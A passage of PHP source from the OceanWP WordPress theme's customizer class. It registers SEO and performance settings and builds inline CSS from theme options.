'ocean_general_theme_icons', 'settings' => 'ocean_theme_single_post_icons_color', 'priority' => 10, ) ) ); /** * Section SEO * * @since 3.0.0 */ $wp_customize->add_section( 'ocean_general_seo_settings', array( 'title' => esc_html__( 'SEO Settings', 'oceanwp' ), 'priority' => 10, 'panel' => $panel, ) ); /** * Schema Markup */ $wp_customize->add_setting( 'ocean_schema_markup', array( 'default' => true, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_schema_markup', array( 'label' => esc_html__( 'Enable Schema Markup', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_general_seo_settings', 'settings' => 'ocean_schema_markup', 'priority' => 10, ) ) ); /** * Enable image alt text on blog entry featured images */ $wp_customize->add_setting( 'ocean_enable_be_fimage_alt', array( 'default' => false, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_enable_be_fimage_alt', array( 'label' => esc_html__( 'Use featured image ALT text on blog entries', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_general_seo_settings', 'priority' => 10, ) ) ); /** * Enable image alt text on single post featured images */ $wp_customize->add_setting( 'ocean_enable_sp_fimage_alt', array( 'default' => false, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_enable_sp_fimage_alt', array( 'label' => esc_html__( 'Use featured image ALT text on single posts', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_general_seo_settings', 'priority' => 10, ) ) ); /** * Enable image alt text on single post featured images */ $wp_customize->add_setting( 'ocean_enable_srp_fimage_alt', array( 'default' => false, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_enable_srp_fimage_alt', array( 'label' => esc_html__( 'Use featured image ALT text on single post related items', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_general_seo_settings', 'priority' => 10, ) ) ); /** * Site breadcrumb info */ $wp_customize->add_setting( 'ocean_configure_breadcrumb_link', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Info_Control( $wp_customize, 'ocean_configure_breadcrumb_link', array( 'label' => esc_html__( 'Configure Breadcrumb', 'oceanwp' ), 'description' => sprintf( esc_html__( 'Go to the %1$s Breadcrumbs settings page %2$s', 'oceanwp' ), '', '' ), 'section' => 'ocean_general_seo_settings', 'priority' => 10, ) ) ); /** * Heading Sitewide Identity */ $wp_customize->add_setting( 'ocean_opengraph_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_opengraph_heading', array( 'label' => esc_html__( 'OpenGraph', 'oceanwp' ), 'description' => esc_html__( 'This is information taken by social media when a link is shared', 'oceanwp' ), 'section' => 'ocean_general_seo_settings', 'priority' => 10, ) ) ); /** * Enable OpenGraph */ $wp_customize->add_setting( 'ocean_open_graph', array( 'default' => false, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_open_graph', array( 'label' => esc_html__( 'Enable OpenGraph', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_general_seo_settings', 'settings' => 'ocean_open_graph', 'priority' => 10, ) ) ); /** * Twitter Handle */ $wp_customize->add_setting( 'ocean_twitter_handle', array( 'default' => '', 'sanitize_callback' => 'wp_filter_nohtml_kses', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_twitter_handle', array( 'label' => esc_html__( 'Twitter Username', 'oceanwp' ), 'section' => 'ocean_general_seo_settings', 'settings' => 'ocean_twitter_handle', 'type' => 'text', 'priority' => 10, ) ) ); /** * Facebook Page URL */ $wp_customize->add_setting( 'ocean_facebook_page_url', array( 'default' => '', 'sanitize_callback' => 'wp_filter_nohtml_kses', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_facebook_page_url', array( 'label' => esc_html__( 'Facebook Page URL', 'oceanwp' ), 'section' => 'ocean_general_seo_settings', 'settings' => 'ocean_facebook_page_url', 'type' => 'text', 'priority' => 10, ) ) ); /** * Facebook App ID */ $wp_customize->add_setting( 'ocean_facebook_appid', array( 'default' => '', 'sanitize_callback' => 'wp_filter_nohtml_kses', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_facebook_appid', array( 'label' => esc_html__( 'Facebook App ID', 'oceanwp' ), 'section' => 'ocean_general_seo_settings', 'settings' => 'ocean_facebook_appid', 'type' => 'text', 'priority' => 10, ) ) ); /** * Call Performance Section * * @since 3.0.3 * @return void */ $this->performance_section( $wp_customize, $panel ); } /** * Performance Section * * @return void * * @since 3.0.3 */ private function performance_section( $wp_customize, $panel ) { /** * Section */ $wp_customize->add_section( 'ocean_general_performance_section', array( 'title' => esc_html__( 'Performance', 'oceanwp' ), 'priority' => 10, 'panel' => $panel, ) ); /** * Emoji */ $wp_customize->add_setting( 'ocean_performance_emoji', array( 'transport' => 'postMessage', 'default' => 'enable', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Buttonset_Control( $wp_customize, 'ocean_performance_emoji', array( 'label' => esc_html__( 'Emoji', 'oceanwp' ), 'description' => esc_html__( 'This style is all the css for the WP emoji.', 'oceanwp' ), 'section' => 'ocean_general_performance_section', 'settings' => 'ocean_performance_emoji', 'priority' => 10, 'choices' => array( 'disabled' => esc_html__( 'Disabled', 'oceanwp' ), 'enabled' => esc_html__( 'Enabled', 'oceanwp' ), ), ) ) ); /** * Font Awesome Icons */ $wp_customize->add_setting( 'ocean_performance_fontawesome', array( 'transport' => 'postMessage', 'default' => 'enabled', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Buttonset_Control( $wp_customize, 'ocean_performance_fontawesome', array( 'label' => esc_html__( 'Font Awesome Icons', 'oceanwp' ), 'description' => esc_html__( 'This style is all the css for the font awesome icons.', 'oceanwp' ), 'section' => 'ocean_general_performance_section', 'settings' => 'ocean_performance_fontawesome', 'priority' => 10, 'choices' => array( 'disabled' => esc_html__( 'Disabled', 'oceanwp' ), 'enabled' => esc_html__( 'Enabled', 'oceanwp' ), ), ) ) ); /** * Disable OceanWP SVG Icons */ $wp_customize->add_setting( 'ocean_disable_svg_icons', array( 'transport' => 'postMessage', 'default' => 'enabled', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Buttonset_Control( $wp_customize, 'ocean_disable_svg_icons', array( 'label' => esc_html__( 'Ocean SVG Icons', 'oceanwp' ), 'description' => esc_html__( 'This file is for all the Ocean SVG icons.', 'oceanwp' ), 'section' => 'ocean_general_performance_section', 'priority' => 10, 'choices' => array( 'disabled' => esc_html__( 'Disabled', 'oceanwp' ), 'enabled' => esc_html__( 'Enabled', 'oceanwp' ), ), ) ) ); /** * Simple Line Icons */ $wp_customize->add_setting( 'ocean_performance_simple_line_icons', array( 'transport' => 'postMessage', 'default' => 'enabled', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Buttonset_Control( $wp_customize, 'ocean_performance_simple_line_icons', array( 'label' => esc_html__( 'Simple Line Icons', 'oceanwp' ), 'description' => esc_html__( 'This style is all the css for the simple line icons.', 'oceanwp' ), 'section' => 'ocean_general_performance_section', 'settings' => 'ocean_performance_simple_line_icons', 'priority' => 10, 'choices' => array( 'disabled' => esc_html__( 'Disabled', 'oceanwp' ), 'enabled' => esc_html__( 'Enabled', 'oceanwp' ), ), ) ) ); /** * Lightbox */ $wp_customize->add_setting( 'ocean_performance_lightbox', array( 'transport' => 'postMessage', 'default' => 'enabled', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Buttonset_Control( $wp_customize, 'ocean_performance_lightbox', array( 'label' => esc_html__( 'Lightbox', 'oceanwp' ), 'description' => esc_html__( 'This script enables you to overlay your images on the current page, used for the gallerie, single product and content images.', 'oceanwp' ), 'section' => 'ocean_general_performance_section', 'settings' => 'ocean_performance_lightbox', 'priority' => 10, 'choices' => array( 'disabled' => esc_html__( 'Disabled', 'oceanwp' ), 'enabled' => esc_html__( 'Enabled', 'oceanwp' ), ), ) ) ); /** * Custom Select */ $wp_customize->add_setting( 'ocean_performance_custom_select', array( 'transport' => 'postMessage', 'default' => 'enabled', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Buttonset_Control( $wp_customize, 'ocean_performance_custom_select', array( 'label' => esc_html__( 'Custom Select', 'oceanwp' ), 'description' => esc_html__( 'This script uses the native select box and add overlays a stylable element in order to acheive the desired look.', 'oceanwp' ), 'section' => 'ocean_general_performance_section', 'settings' => 'ocean_performance_custom_select', 'priority' => 10, 'choices' => array( 'disabled' => esc_html__( 'Disabled', 'oceanwp' ), 'enabled' => esc_html__( 'Enabled', 'oceanwp' ), ), ) ) ); if ( class_exists( 'Ocean_Extra' ) ) { /** * Disable widgets.css */ $wp_customize->add_setting( 'ocean_load_widgets_stylesheet', array( 'transport' => 'postMessage', 'default' => 'enabled', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Buttonset_Control( $wp_customize, 'ocean_load_widgets_stylesheet', array( 'label' => esc_html__( 'Widgets Stylesheet Load', 'oceanwp' ), 'description' => esc_html__( 'You can disable loading widgets.css stylesheet on your site.', 'oceanwp' ), 'section' => 'ocean_general_performance_section', 'settings' => 'ocean_load_widgets_stylesheet', 'priority' => 11, 'choices' => array( 'disabled' => esc_html__( 'Disabled', 'oceanwp' ), 'enabled' => esc_html__( 'Enabled', 'oceanwp' ), ), ) ) ); } /** * Scroll Effect */ $wp_customize->add_setting( 'ocean_performance_scroll_effect', array( 'transport' => 'postMessage', 'default' => 'enabled', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Buttonset_Control( $wp_customize, 'ocean_performance_scroll_effect', array( 'label' => esc_html__( 'Scroll Effect', 'oceanwp' ), 'description' => esc_html__( 'This script is responsible for the scroll effect in theme.', 'oceanwp' ), 'section' => 'ocean_general_performance_section', 'settings' => 'ocean_performance_scroll_effect', 'priority' => 10, 'choices' => array( 'disabled' => esc_html__( 'Disabled', 'oceanwp' ), 'enabled' => esc_html__( 'Enabled', 'oceanwp' ), ), ) ) ); /** * Scroll offset */ $wp_customize->add_setting( 'ocean_scroll_effect_offset_value', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_scroll_effect_offset_value', array( 'label' => esc_html__( 'Scroll Effect - Custom Offset', 'oceanwp' ), 'type' => 'number', 'section' => 'ocean_general_performance_section', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 600, 'step' => 1, ), ) ) ); } /** * Helpers * * @since 1.0.0 * @param object $return return template. */ public static function helpers( $return = null ) { // Return elementor templates array. if ( 'elementor' === $return ) { $templates = array( esc_html__( 'Default', 'oceanwp' ) ); $get_templates = get_posts( array( 'post_type' => 'elementor_library', 'numberposts' => -1, 'post_status' => 'publish', ) ); if ( ! empty( $get_templates ) ) { foreach ( $get_templates as $template ) { $templates[ $template->ID ] = $template->post_title; } } return $templates; } } /** * Get post types * * @since 1.3.7 * @param object $args post type. */ private static function get_post_types( $args = array() ) { $post_type_args = array( 'show_in_nav_menus' => true, ); if ( ! empty( $args['post_type'] ) ) { $post_type_args['name'] = $args['post_type']; } $_post_types = get_post_types( $post_type_args, 'objects' ); $post_types = array(); $post_types['any'] = esc_html__( 'All Post Types', 'oceanwp' ); foreach ( $_post_types as $post_type => $object ) { $post_types[ $post_type ] = $object->label; } return $post_types; } /** * Generates arrays of elements to target * * @since 1.0.0 * @param object $return return value. */ private static function primary_color_arrays( $return ) { // Texts. $texts = apply_filters( 'ocean_primary_texts', array( 'a:hover', 'a.light:hover', '.theme-heading .text::before', '.theme-heading .text::after', '#top-bar-content > a:hover', '#top-bar-social li.oceanwp-email a:hover', '#site-navigation-wrap .dropdown-menu > li > a:hover', '#site-header.medium-header #medium-searchform button:hover', '.oceanwp-mobile-menu-icon a:hover', '.blog-entry.post .blog-entry-header .entry-title a:hover', '.blog-entry.post .blog-entry-readmore a:hover', '.blog-entry.thumbnail-entry .blog-entry-category a', 'ul.meta li a:hover', '.dropcap', '.single nav.post-navigation .nav-links .title', 'body .related-post-title a:hover', 'body #wp-calendar caption', 'body .contact-info-widget.default i', 'body .contact-info-widget.big-icons i', 'body .custom-links-widget .oceanwp-custom-links li a:hover', 'body .custom-links-widget .oceanwp-custom-links li a:hover:before', 'body .posts-thumbnails-widget li a:hover', 'body .social-widget li.oceanwp-email a:hover', '.comment-author .comment-meta .comment-reply-link', '#respond #cancel-comment-reply-link:hover', '#footer-widgets .footer-box a:hover', '#footer-bottom a:hover', '#footer-bottom #footer-bottom-menu a:hover', '.sidr a:hover', '.sidr-class-dropdown-toggle:hover', '.sidr-class-menu-item-has-children.active > a', '.sidr-class-menu-item-has-children.active > a > .sidr-class-dropdown-toggle', 'input[type=checkbox]:checked:before', ) ); // SVG Icon color. $svg_icons = apply_filters( 'ocean_primary_svg_icons', array( '.single nav.post-navigation .nav-links .title .owp-icon use', '.blog-entry.post .blog-entry-readmore a:hover .owp-icon use', 'body .contact-info-widget.default .owp-icon use', 'body .contact-info-widget.big-icons .owp-icon use', ) ); // Backgrounds. $backgrounds = apply_filters( 'ocean_primary_backgrounds', array( 'input[type="button"]', 'input[type="reset"]', 'input[type="submit"]', 'button[type="submit"]', '.button', '#site-navigation-wrap .dropdown-menu > li.btn > a > span', '.thumbnail:hover i', '.post-quote-content', '.omw-modal .omw-close-modal', 'body .contact-info-widget.big-icons li:hover i', 'body div.wpforms-container-full .wpforms-form input[type=submit]', 'body div.wpforms-container-full .wpforms-form button[type=submit]', 'body div.wpforms-container-full .wpforms-form .wpforms-page-button', ) ); // Borders. $borders = apply_filters( 'ocean_primary_borders', array( '.widget-title', 'blockquote', '#searchform-dropdown', '.dropdown-menu .sub-menu', '.blog-entry.large-entry .blog-entry-readmore a:hover', '.oceanwp-newsletter-form-wrap input[type="email"]:focus', '.social-widget li.oceanwp-email a:hover', '#respond #cancel-comment-reply-link:hover', 'body .contact-info-widget.big-icons li:hover i', '#footer-widgets .oceanwp-newsletter-form-wrap input[type="email"]:focus', ) ); // Return array. if ( 'texts' === $return ) { return $texts; } elseif ( 'svg_icons' === $return ) { return $svg_icons; } elseif ( 'backgrounds' === $return ) { return $backgrounds; } elseif ( 'borders' === $return ) { return $borders; } } /** * Generates array of elements to target * * @since 1.0.0 * @param object $return return value. */ private static function hover_primary_color_array( $return ) { // Hover backgrounds. $hover = apply_filters( 'ocean_hover_primary_backgrounds', array( 'input[type="button"]:hover', 'input[type="reset"]:hover', 'input[type="submit"]:hover', 'button[type="submit"]:hover', 'input[type="button"]:focus', 'input[type="reset"]:focus', 'input[type="submit"]:focus', 'button[type="submit"]:focus', '.button:hover', '.button:focus', '#site-navigation-wrap .dropdown-menu > li.btn > a:hover > span', '.post-quote-author', '.omw-modal .omw-close-modal:hover', 'body div.wpforms-container-full .wpforms-form input[type=submit]:hover', 'body div.wpforms-container-full .wpforms-form button[type=submit]:hover', 'body div.wpforms-container-full .wpforms-form .wpforms-page-button:hover', ) ); // Return array. if ( 'hover' === $return ) { return $hover; } } /** * Returns array of elements and border style to apply * * @since 1.0.0 */ private static function main_border_array() { return apply_filters( 'ocean_border_color_elements', array( // General. 'table th', 'table td', 'hr', '.content-area', 'body.content-left-sidebar #content-wrap .content-area, .content-left-sidebar .content-area', // Top bar. '#top-bar-wrap', // Header. '#site-header', // Search top header. '#site-header.top-header #search-toggle', // Dropdown. '.dropdown-menu ul li', // Page header. '.centered-minimal-page-header', // Blog. '.blog-entry.post', '.blog-entry.grid-entry .blog-entry-inner', '.blog-entry.thumbnail-entry .blog-entry-bottom', '.single-post .entry-title', '.single .entry-share-wrap .entry-share', '.single .entry-share', '.single .entry-share ul li a', '.single nav.post-navigation', '.single nav.post-navigation .nav-links .nav-previous', '#author-bio', '#author-bio .author-bio-avatar', '#author-bio .author-bio-social li a', '#related-posts', '#comments', '.comment-body', '#respond #cancel-comment-reply-link', '#blog-entries .type-page', // Pagination. '.page-numbers a, .page-numbers span:not(.elementor-screen-only), .page-links span', // Widgets. 'body #wp-calendar caption, body #wp-calendar th, body #wp-calendar tbody', 'body .contact-info-widget.default i, body .contact-info-widget.big-icons i', 'body .posts-thumbnails-widget li', 'body .tagcloud a', ) ); } /** * Get CSS * * @param obj $output css output. * @since 1.0.0 */ public function head_css( $output ) { // Global vars. $primary_color = get_theme_mod( 'ocean_primary_color', '#13aff0' ); $hover_primary_color = get_theme_mod( 'ocean_hover_primary_color', '#0b7cac' ); $main_border_color = get_theme_mod( 'ocean_main_border_color', '#e9e9e9' ); $background_color = get_theme_mod( 'ocean_background_color', '#ffffff' ); $background_image = get_theme_mod( 'ocean_background_image' ); $background_image_position = get_theme_mod( 'ocean_background_image_position' ); $background_image_attachment = get_theme_mod( 'ocean_background_image_attachment' ); $background_image_repeat = get_theme_mod( 'ocean_background_image_repeat' ); $background_image_size = get_theme_mod( 'ocean_background_image_size' ); $links_color = get_theme_mod( 'ocean_links_color', '#333333' ); $links_color_hover = get_theme_mod( 'ocean_links_color_hover', '#13aff0' ); $boxed_width = get_theme_mod( 'ocean_boxed_width', '1280' ); $boxed_outside_bg = get_theme_mod( 'ocean_boxed_outside_bg', '#e9e9e9' ); $separate_outside_bg = get_theme_mod( 'ocean_separate_outside_bg', '#f1f1f1' ); $boxed_inner_bg = get_theme_mod( 'ocean_boxed_inner_bg', '#ffffff' ); $separate_content_padding = get_theme_mod( 'ocean_separate_content_padding', '30px' ); $separate_widgets_padding = get_theme_mod( 'ocean_separate_widgets_padding', '30px' ); $main_container_width = get_theme_mod( 'ocean_main_container_width', '1200' ); $left_container_width = get_theme_mod( 'ocean_left_container_width', '72' ); $sidebar_width = get_theme_mod( 'ocean_sidebar_width', '28' ); $content_top_padding = get_theme_mod( 'ocean_page_content_top_padding' ); $content_bottom_padding = get_theme_mod( 'ocean_page_content_bottom_padding' ); $tablet_content_top_padding = get_theme_mod( 'ocean_page_content_tablet_top_padding' ); $tablet_content_bottom_padding = get_theme_mod( 'ocean_page_content_tablet_bottom_padding' ); $mobile_content_top_padding = get_theme_mod( 'ocean_page_content_mobile_top_padding' ); $mobile_content_bottom_padding = get_theme_mod( 'ocean_page_content_mobile_bottom_padding' ); $title_breadcrumb_position = get_theme_mod( 'ocean_page_header_bg_title_breadcrumb_position', 'center' ); $page_header_top_padding = get_theme_mod( 'ocean_page_header_top_padding', '34' ); $page_header_bottom_padding = get_theme_mod( 'ocean_page_header_bottom_padding', '34' ); $tablet_ph_top_padding = get_theme_mod( 'ocean_page_header_tablet_top_padding' ); $tablet_ph_bottom_padding = get_theme_mod( 'ocean_page_header_tablet_bottom_padding' ); $mobile_ph_top_padding = get_theme_mod( 'ocean_page_header_mobile_top_padding' ); $mobile_ph_bottom_padding = get_theme_mod( 'ocean_page_header_mobile_bottom_padding' ); $page_header_title_color = get_theme_mod( 'ocean_page_header_title_color' ); $breadcrumbs_text_color = get_theme_mod( 'ocean_breadcrumbs_text_color', '#c6c6c6' ); $breadcrumbs_seperator_color = get_theme_mod( 'ocean_breadcrumbs_seperator_color', '#c6c6c6' ); $breadcrumbs_link_color = get_theme_mod( 'ocean_breadcrumbs_link_color', '#333333' ); $breadcrumbs_link_color_hover = get_theme_mod( 'ocean_breadcrumbs_link_color_hover', '#13aff0' ); $scroll_top_bottom_position = get_theme_mod( 'ocean_scroll_top_bottom_position', '20' ); $scroll_top_size = get_theme_mod( 'ocean_scroll_top_size', '40' ); $scroll_top_icon_size = get_theme_mod( 'ocean_scroll_top_icon_size', '18' ); $scroll_top_border_radius = get_theme_mod( 'ocean_scroll_top_border_radius', '2' ); $scroll_top_bg = get_theme_mod( 'ocean_scroll_top_bg', 'rgba(0,0,0,0.4)' ); $scroll_top_bg_hover = get_theme_mod( 'ocean_scroll_top_bg_hover', 'rgba(0,0,0,0.8)' ); $scroll_top_color = get_theme_mod( 'ocean_scroll_top_color', '#ffffff' ); $scroll_top_color_hover = get_theme_mod( 'ocean_scroll_top_color_hover', '#ffffff' ); $pagination_font_size = get_theme_mod( 'ocean_pagination_font_size', '18' ); $pagination_border_width = get_theme_mod( 'ocean_pagination_border_width', '1' ); $pagination_bg = get_theme_mod( 'ocean_pagination_bg' ); $pagination_hover_bg = get_theme_mod( 'ocean_pagination_hover_bg', '#f8f8f8' ); $pagination_color = get_theme_mod( 'ocean_pagination_color', '#555555' ); $pagination_hover_color = get_theme_mod( 'ocean_pagination_hover_color', '#333333' ); $pagination_border_color = get_theme_mod( 'ocean_pagination_border_color', '#e9e9e9' ); $pagination_border_hover_color = get_theme_mod( 'ocean_pagination_border_hover_color', '#e9e9e9' ); $label_color = get_theme_mod( 'ocean_label_color', '#929292' ); $input_top_padding = get_theme_mod( 'ocean_input_top_padding', '6' ); $input_right_padding = get_theme_mod( 'ocean_input_right_padding', '12' ); $input_bottom_padding = get_theme_mod( 'ocean_input_bottom_padding', '6' ); $input_left_padding = get_theme_mod( 'ocean_input_left_padding', '12' ); $tablet_input_top_padding = get_theme_mod( 'ocean_input_tablet_top_padding' ); $tablet_input_right_padding = get_theme_mod( 'ocean_input_tablet_right_padding' ); $tablet_input_bottom_padding = get_theme_mod( 'ocean_input_tablet_bottom_padding' ); $tablet_input_left_padding = get_theme_mod( 'ocean_input_tablet_left_padding' ); $mobile_input_top_padding = get_theme_mod( 'ocean_input_mobile_top_padding' ); $mobile_input_right_padding = get_theme_mod( 'ocean_input_mobile_right_padding' ); $mobile_input_bottom_padding = get_theme_mod( 'ocean_input_mobile_bottom_padding' ); $mobile_input_left_padding = get_theme_mod( 'ocean_input_mobile_left_padding' ); $input_font_size = get_theme_mod( 'ocean_input_font_size', '14' ); $input_top_border_width = get_theme_mod( 'ocean_input_top_border_width', '1' ); $input_right_border_width = get_theme_mod( 'ocean_input_right_border_width', '1' ); $input_bottom_border_width = get_theme_mod( 'ocean_input_bottom_border_width', '1' ); $input_left_border_width = get_theme_mod( 'ocean_input_left_border_width', '1' ); $tablet_input_top_bw = get_theme_mod( 'ocean_input_tablet_top_border_width' ); $tablet_input_right_bw = get_theme_mod( 'ocean_input_tablet_right_border_width' ); $tablet_input_bottom_bw = get_theme_mod( 'ocean_input_tablet_bottom_border_width' ); $tablet_input_left_bw = get_theme_mod( 'ocean_input_tablet_left_border_width' ); $mobile_input_top_bw = get_theme_mod( 'ocean_input_mobile_top_border_width' ); $mobile_input_right_bw = get_theme_mod( 'ocean_input_mobile_right_border_width' ); $mobile_input_bottom_bw = get_theme_mod( 'ocean_input_mobile_bottom_border_width' ); $mobile_input_left_bw = get_theme_mod( 'ocean_input_mobile_left_border_width' ); $input_border_radius = get_theme_mod( 'ocean_input_border_radius', '3' ); $input_border_color = get_theme_mod( 'ocean_input_border_color', '#dddddd' ); $input_border_color_focus = get_theme_mod( 'ocean_input_border_color_focus', '#bbbbbb' ); $input_background = get_theme_mod( 'ocean_input_background' ); $input_color = get_theme_mod( 'ocean_input_color', '#333333' ); $theme_button_top_padding = get_theme_mod( 'ocean_theme_button_top_padding', '14' ); $theme_button_right_padding = get_theme_mod( 'ocean_theme_button_right_padding', '20' ); $theme_button_bottom_padding = get_theme_mod( 'ocean_theme_button_bottom_padding', '14' ); $theme_button_left_padding = get_theme_mod( 'ocean_theme_button_left_padding', '20' ); $tablet_tb_top_padding = get_theme_mod( 'ocean_theme_button_tablet_top_padding' ); $tablet_tb_right_padding = get_theme_mod( 'ocean_theme_button_tablet_right_padding' ); $tablet_tb_bottom_padding = get_theme_mod( 'ocean_theme_button_tablet_bottom_padding' ); $tablet_tb_left_padding = get_theme_mod( 'ocean_theme_button_tablet_left_padding' ); $mobile_tb_top_padding = get_theme_mod( 'ocean_theme_button_mobile_top_padding' ); $mobile_tb_right_padding = get_theme_mod( 'ocean_theme_button_mobile_right_padding' ); $mobile_tb_bottom_padding = get_theme_mod( 'ocean_theme_button_mobile_bottom_padding' ); $mobile_tb_left_padding = get_theme_mod( 'ocean_theme_button_mobile_left_padding' ); $theme_button_border_radius = get_theme_mod( 'ocean_theme_button_border_radius', '0' ); $theme_button_bg = get_theme_mod( 'ocean_theme_button_bg', '#13aff0' ); $theme_button_hover_bg = get_theme_mod( 'ocean_theme_button_hover_bg', '#0b7cac' ); $theme_button_color = get_theme_mod( 'ocean_theme_button_color', '#ffffff' ); $theme_button_hover_color = get_theme_mod( 'ocean_theme_button_hover_color', '#ffffff' ); $theme_blog_icons_color = get_theme_mod( 'ocean_theme_blog_posts_icons_color', '#333333' ); $theme_post_icons_color = get_theme_mod( 'ocean_theme_single_post_icons_color', '#333333' ); // Both sidebars page layout. $page_layout = get_theme_mod( 'ocean_page_single_layout', 'right-sidebar' ); $bs_page_content_width = get_theme_mod( 'ocean_page_single_both_sidebars_content_width' ); $bs_page_sidebars_width = get_theme_mod( 'ocean_page_single_both_sidebars_sidebars_width' ); // Both sidebars search layout. $search_layout = get_theme_mod( 'ocean_search_layout', 'right-sidebar' ); $bs_search_content_width = get_theme_mod( 'ocean_search_both_sidebars_content_width' ); $bs_search_sidebars_width = get_theme_mod( 'ocean_search_both_sidebars_sidebars_width' ); // Meta. $meta_breadcrumbs_text_color = get_post_meta( oceanwp_post_id(), 'ocean_breadcrumbs_color', true ); $meta_breadcrumbs_seperator_color = get_post_meta( oceanwp_post_id(), 'ocean_breadcrumbs_separator_color', true ); $meta_breadcrumbs_link_color = get_post_meta( oceanwp_post_id(), 'ocean_breadcrumbs_links_color', true ); $meta_breadcrumbs_link_color_hover = get_post_meta( oceanwp_post_id(), 'ocean_breadcrumbs_links_hover_color', true ); $meta_breadcrumbs_link_color_hover = get_post_meta( oceanwp_post_id(), 'ocean_breadcrumbs_links_hover_color', true ); // Define css var. $css = ''; $content_padding_css = ''; $tablet_content_padding_css = ''; $mobile_content_padding_css = ''; // Get primary color arrays. $texts = self::primary_color_arrays( 'texts' ); $svg_icons = self::primary_color_arrays( 'svg_icons' ); $backgrounds = self::primary_color_arrays( 'backgrounds' ); $borders = self::primary_color_arrays( 'borders' ); // Get hover primary color arrays. $hover_primary = self::hover_primary_color_array( 'hover' ); // Get hover primary color arrays. $main_border = self::main_border_array(); // Texts. if ( ! empty( $texts ) && '#13aff0' != $primary_color ) { $css .= implode( ',', $texts ) . '{color:' . $primary_color . ';}'; $css .= implode( ',', $svg_icons ) . '{stroke:' . $primary_color . ';}'; } // Backgrounds. if ( ! empty( $backgrounds ) && '#13aff0' != $primary_color ) { $css .= implode( ',', $backgrounds ) . '{background-color:' . $primary_color . ';}'; $css .= '.thumbnail:hover .link-post-svg-icon{background-color:' . $primary_color . ';}'; $css .= 'body .contact-info-widget.big-icons li:hover .owp-icon{background-color:' . $primary_color . ';}'; } // Borders. if ( ! empty( $borders ) && '#13aff0' != $primary_color ) { foreach ( $borders as $key => $val ) { if ( is_array( $val ) ) { $css .= $key . '{'; foreach ( $val as $key => $val ) { $css .= 'border-' . $val . '-color:' . $primary_color . ';'; } $css .= '}'; } else { $css .= $val . '{border-color:' . $primary_color . ';}'; } } } // Blockquotes color. if ( ! empty( $primary_color ) && '#13aff0' != $primary_color ) { $css .= 'blockquote, .wp-block-quote{border-left-color:' . $primary_color . ';}'; $css .= 'body .contact-info-widget.big-icons li:hover .owp-icon{border-color:' . $primary_color . ';}'; } // Hover primary color. if ( ! empty( $hover_primary ) && '#0b7cac' != $hover_primary_color ) { $css .= implode( ',', $hover_primary ) . '{background-color:' . $hover_primary_color . ';}'; } // Main border color. if ( ! empty( $main_border ) && '#e9e9e9' != $main_border_color ) { $css .= implode( ',', $main_border ) . '{border-color:' . $main_border_color . ';}'; $css .= 'body .contact-info-widget.big-icons .owp-icon, body .contact-info-widget.default .owp-icon{border-color:' . $main_border_color . ';}'; } // Get site background color. if ( ! empty( $background_color ) && '#ffffff' != $background_color ) { $css .= 'body, .has-parallax-footer:not(.separate-layout) #main{background-color:' . $background_color . ';}'; } // Get site background image. if ( ! empty( $background_image ) ) { $css .= 'body{background-image:url(' . $background_image . ');}'; } // Get site background position. if ( ! empty( $background_image_position ) && 'initial' != $background_image_position ) { $css .= 'body{background-position:' . $background_image_position . ';}'; } // Get site background attachment. if ( ! empty( $background_image_attachment ) && 'initial' != $background_image_attachment ) { $css .= 'body{background-attachment:' . $background_image_attachment . ';}'; } // Get site background repeat. if ( ! empty( $background_image_repeat ) && 'initial' != $background_image_repeat ) { $css .= 'body{background-repeat:' . $background_image_repeat . ';}'; } // Get site background size. if ( ! empty( $background_image_size ) && 'initial' != $background_image_size ) { $css .= 'body{background-size:' . $background_image_size . ';}'; } // Links color. if ( ! empty( $links_color ) && '#333333' != $links_color ) { $css .= 'a{color:' . $links_color . ';}'; $css .= 'a .owp-icon use {stroke:' . $links_color . ';}'; } // Links color hover. if ( ! empty( $links_color_hover ) && '#13aff0' != $links_color_hover ) { $css .= 'a:hover{color:' . $links_color_hover . ';}'; $css .= 'a:hover .owp-icon use {stroke:' . $links_color_hover . ';}'; } // Boxed width. if ( ! empty( $boxed_width ) && '1280' != $boxed_width ) { $css .= '.boxed-layout #wrap, .boxed-layout .parallax-footer, .boxed-layout .owp-floating-bar{width:' . 